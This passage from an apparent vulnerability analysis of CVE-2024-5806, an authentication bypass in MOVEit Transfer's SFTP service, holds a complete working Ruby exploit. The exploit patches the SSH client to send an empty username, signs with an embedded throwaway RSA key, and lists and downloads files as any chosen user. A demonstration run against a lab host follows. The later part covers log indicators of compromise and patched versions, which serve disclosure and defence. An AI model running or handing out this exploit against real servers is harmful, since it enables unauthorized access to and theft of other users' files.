, then a request containing the session id (generated by the server during the initial key exchange) at [2], is first signed using the identity (the public-private key pair we want to authenticate with), before being transmitted to the server at [3] — again a username is specified here. As the signed data is verified server-side, the username supplied at both [2] and [3] must match, but we can specify a different username at [1].
We can therefore trigger the vulnerability by supplying an non-existent username at [1], and then supplying the username we want to authenticate as, via the authentication bypass vulnerability, in [2] and [3].
We can leverage Ruby’s ability to monkey-patch code, and implement the auth bypass as follows:
require 'net/ssh' require 'net/sftp' require 'optparse' module Net module SSH module Authentication module Methods module PublickeyHax def build_request(pub_key, username, next_service, alg, has_sig) # We trigger the vuln, by first requesting 'publickey' authentication # and supplying a non-existent username. The server will think certificate # based authentication has been successful, and transmit a USERAUTH_PK_OK # response. We then answer the USERAUTH_PK_OK response with a signed # request for the username we want to authenticate as, and signed with an # arbitrary untrusted RSA key. This will succeed and we will have achieved # an authentication bypass. An SFTP session will now be established for # the username we specified. username = '' unless has_sig super end end class Publickey prepend PublickeyHax end end end end end
We must use an RSA key to perform signing during public key authentication. This key can be any private RSA key generated by the attacker.
# Any RSA key will work, we generated a small 512 bit key here for testing. some_rsa_key = %( -----BEGIN RSA PRIVATE KEY----- MIIBOgIBAAJBAJoPI1Lg5U9ZB1cri1Ss6vhqecXAS5ZxJUxvUWRQXOjmUX1a3P93 oqqzS13uPSrPNBK2isNs/JcH1vltL1l9l18CAwEAAQJAZwD8Eyu+5eCWodfBXqoG qHU4WdmKMFoSIBrFhpacqDJVyUIQ7zTeMCmxtHM98ksIysaHmBKnavanFTx3xLQZ kQIhAPhi/F1DPJmTthAlLNSGy394bKrEy/f8WyeDKDqIXisjAiEAnsf+Lk8Sxgl4 fnRggVhHvTcl3E95U/sGsT0cRqlNVJUCIQDFcPHINM00Cx2bAeH74lZasmA28o5s RrYy12gf9wxb3wIgK5hpt7lKREmRZdb6MElW2SLtKEJB48cGnV9UBiqx6skCIC6A 7l/EqY2clj6/NH2xO+PYVbk935g+Im1jamDGHaXV -----END RSA PRIVATE KEY----- )
We will define two helper methods — one to recursively list a directory’s contents, and another to download an arbitrary file:
def read_file(sftp, remote_path, local_path = nil) $stdout.puts "[+] Reading remote file: #{remote_path}" sftp.open(remote_path) do |response| if response.ok? file_size = sftp.fstat!(response[:handle]).size sftp.read(response[:handle], 0, file_size) do |response| if response.ok? if local_path $stdout.puts "[+] Writing local file: #{local_path}" File.open(local_path, 'wb+') do |f| f.write(response[:data]) end else $stdout.puts (response[:data]).to_s end end end else warn '[-] SFTP open failed (Is the remote file path correct?).' end sftp.close(response[:handle]) end end def recurser_dir(sftp, base = '/') sftp.dir.glob(base, '*') do |entry| $stdout.puts entry.longname.gsub(entry.name, "#{base}#{entry.name}").to_s recurser_dir(sftp, "#{base}#{entry.name}/") if entry.directory? end end
We will add in a command-line option parser to take some inputs from the user:
options = { target: nil, port: 22, user: nil, read_file_path: nil, write_file_path: nil } OptionParser.new do |opts| opts.banner = "Usage: #{File.basename(__FILE__)} [options]" opts.on('-t', '--target VALUE', 'Target IP') do |v| options[:target] = v end opts.on('-p', '--port VALUE', 'Target Port') do |v| options[:port] = v.to_i end opts.on('-u', '--user VALUE', 'Username') do |v| options[:user] = v end opts.on('-r', '--read FILEPATH', 'Read a remote file') do |v| options[:read_file_path] = v end opts.on('-o', '--out FILEPATH', 'Write to local file') do |v| options[:write_file_path] = v end end.parse! if options[:target].nil? || options[:user].nil? warn 'You must specify a target IP (-t IP) and a user account (-u USER)' return end
And finally, we can trigger the authentication bypass, which allows us to either list directories or download files, after we successfully authenticate.
$stdout.puts "[+] Targeting: #{options[:user]}@#{options[:target]}:#{options[:port]}" Net::SFTP.start( options[:target], options[:user], { port: options[:port], key_data: [some_rsa_key] } ) do |sftp| if options[:read_file_path] read_file(sftp, options[:read_file_path], options[:write_file_path]) else recurser_dir(sftp) end end puts '[+] Finished.'
Our target MOVEit Transfer server was installed with default settings applied. We created a normal user with a username of testuser1
and a complex password.
Using our exploit, we can target a vulnerable system and leverage the authentication bypass to authenticate as a user called testuser1
.
We can then demonstrate exploiting the vulnerability to successfully list all the files in this user’s home directory, and then to download one of the files we listed, as shown below:
C:\Users\sfewer\Desktop>ruby hax_sftp.rb -t 169.254.180.121 -p 22 -u testuser1 [+] Targeting: testuser1@169.254.180.121:22 dr-xr-xr-x 1 0 0 0 Jun 18 18:41 /Home dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1 dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1/TestFolder1 -rw-rw-rw- 1 0 0 8 Jun 18 22:50 /Home/testuser1/test.txt [+] Finished. C:\Users\sfewer\Desktop>ruby hax_sftp.rb -t 169.254.180.121 -p 22 -u testuser1 -r /Home/testuser1/test.txt [+] Targeting: testuser1@169.254.180.121:22 [+] Reading remote file: /Home/testuser1/test.txt secrets! [+] Finished.
IOCs
Upon successful exploitation of CVE-2024-5806, the log file C:\MOVEitTransfer\Logs\SftpServer.log
, with the default log-level setting of Connect Messages
, will contain an entry that looks like this:
2024-06-19 14:14:28.434 #0A z30 <0> (229369681687209268389) Log message from server: Received request for service ssh-userauth. 2024-06-19 14:14:28.449 #17 z30 <0> (229369681687209268389) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------ 2024-06-19 14:14:28.469 #17 z30 <0> (229369681687209268389) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------ 2024-06-19 14:14:28.474 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Validating client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 for user 2024-06-19 14:14:28.479 #17 z30 <0> (229369681687209268389) SILUser.ExecuteAuthenticators: User '' was denied authentication with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator; ceasing authentication chain 2024-06-19 14:14:28.479 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Client key validation successful but password is also required 2024-06-19 14:14:28.500 #17 z30 <0> (229369681687209268389) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------ 2024-06-19 14:14:28.502 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 already authenticated for user testuser1; continuing with user authentication process 2024-06-19 14:14:28.521 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Authentication successful
We can see above that the log contains the message:
User '' was denied authentication
Indicating an empty username was supplied, before the message:
Client key validation successful but password is also required
Which indicates the public key check was bypassed as a result of an non-existent username being supplied. And then:
already authenticated for user testuser1
Which indicated the attacker is leveraging the auth bypass to authenticate as a legitimate user, and then finally:
Authentication successful
Which indicates the attacker successfully exploited CVE-2024-5806 and authenticated as the user testuser1
. No IP address for the attacker is logged.
Follow-on activity from the attacker will be logged and associated with the same SSH channel that was used during the auth bypass (229369681687209268389
in the example above). For example:
2024-06-19 14:14:28.543 #1C z30 <0> (229369681687209268389) Log message from server: Received open channel request for session service. 2024-06-19 14:14:28.558 #1C z30 <0> (229369681687209268389) Log message from server: Received channel request for subsystem sftp. 2024-06-19 14:14:28.574 #1C z30 <0> (229369681687209268389) Log message from server: Negotiated SFTP protocol draft version: 3 2024-06-19 14:14:28.590 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverFileOpenEventArgs ------ 2024-06-19 14:14:28.605 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverGetAttributesEventArgs ------ 2024-06-19 14:14:28.621 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverFileReadEventArgs ------ 2024-06-19 14:14:28.621 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverFileCloseEventArgs ------ 2024-06-19 14:14:28.636 #1C z30 <0> (229369681687209268389) FileCloseRequestHandler: Successfully completed download of file /Home/testuser1/test.txt 2024-06-19 14:14:28.683 #1C z30 <0> (229369681687209268389) Log message from server: SSH channel [229369681687209268389.0] closed. 2024-06-19 14:14:28.746 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverDisconnectedEventArgs ------
Indicates the attacker downloaded the file /Home/testuser1/test.txt
.
An example of a failed auth bypass attempt is as follows. In this example an attacker attempted to use the auth bypass vulnerability to authenticate as the sysadmin
user. However, this user has an “Remote Access Rule” in place to deny authentication from external IP addresses, causing the check at SILCurrentUser.AllowedAtHost
to fail, preventing the auth bypass from working.
2024-06-19 14:21:17.792 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------ 2024-06-19 14:21:17.808 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------ 2024-06-19 14:21:17.814 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Validating client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 for user 2024-06-19 14:21:17.819 #17 z30 <0> (187224641687209677712) SILUser.ExecuteAuthenticators: User '' was denied authentication with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator; ceasing authentication chain 2024-06-19 14:21:17.819 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key validation successful but password is also required 2024-06-19 14:21:17.829 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------ 2024-06-19 14:21:17.831 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 already authenticated for user sysadmin; continuing with user authentication process 2024-06-19 14:21:17.836 #17 z30 <0> (187224641687209677712) SILCurrentUser.AllowedAtHost: User 'sysadmin' DENIED ACCESS from 169.254.19.68 2024-06-19 14:21:17.836 #17 z30 <0> (187224641687209677712) SILUser.UserClientIsAuthorized: AllowedAtHost returned False for user sysadmin 2024-06-19 14:21:17.845 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key authentication failed 2024-06-19 14:21:17.855 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------ 2024-06-19 14:21:17.857 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Validating client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 for user 2024-06-19 14:21:17.862 #17 z30 <0> (187224641687209677712) SILCurrentUser.AllowedAtHost: User '' DENIED ACCESS from 169.254.19.68 2024-06-19 14:21:17.862 #17 z30 <0> (187224641687209677712) SILUser.UserClientIsAuthorized: AllowedAtHost returned False for user 2024-06-19 14:21:17.872 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key validation failed 2024-06-19 14:21:22.048 #19 z30 <0> (187224641687209677712) ------ Handling event type SftpserverDisconnectedEventArgs ------ 2024-06-19 14:21:22.064 #17 z30 <0> IpWorksServerManager.Dispatcher: Ignoring event connection ID 187224641687209677712 with no corresponding connection in the server 2024-06-19 14:21:22.064 #17 z30 <0> Log message from server: SSH handshake failed: Encountered error while waiting for packet: remote end disconnected. 2024-06-19 14:21:22.064 #17 z30 <0> IpWorksServerManager.Dispatcher: Ignoring event connection ID 187224641687209677712 with no corresponding connection in the server
For a failed exploitation attempt, the attacker IP address was logged.
Remediation
As indicated in the vendor advisory, the following versions of MOVEit Transfer remediate CVE-2024-5806:
- MOVEit Transfer 2023.0.11
- MOVEit Transfer 2023.1.6
- MOVEit Transfer 2024.0.2
Customers are urged to apply the vendor supplied update on an emergency basis.
References
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: